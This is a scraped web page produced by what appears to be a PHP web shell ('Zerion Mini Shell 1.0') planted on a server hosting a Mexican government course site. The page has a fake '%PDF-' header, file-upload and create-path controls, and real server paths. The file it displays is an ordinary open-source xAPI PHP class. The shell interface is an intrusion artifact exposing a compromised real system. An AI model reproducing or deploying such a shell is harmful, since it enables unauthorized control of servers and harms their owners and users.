%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/vendor/php-xapi/model/src/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/vendor/php-xapi/model/src/StateDocument.php

<?php

/*
 * This file is part of the xAPI package.
 *
 * (c) Christian Flothmann <christian.flothmann@xabbuh.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Xabbuh\XApi\Model;

/**
 * A document associated to an activity provider state.
 *
 * @author Christian Flothmann <christian.flothmann@xabbuh.de>
 */
final class StateDocument extends Document
{
    private $state;

    public function __construct(State $state, DocumentData $data)
    {
        parent::__construct($data);

        $this->state = $state;
    }

    /**
     * Returns the document's {@link State}.
     */
    public function getState(): State
    {
        return $this->state;
    }
}

Zerion Mini Shell 1.0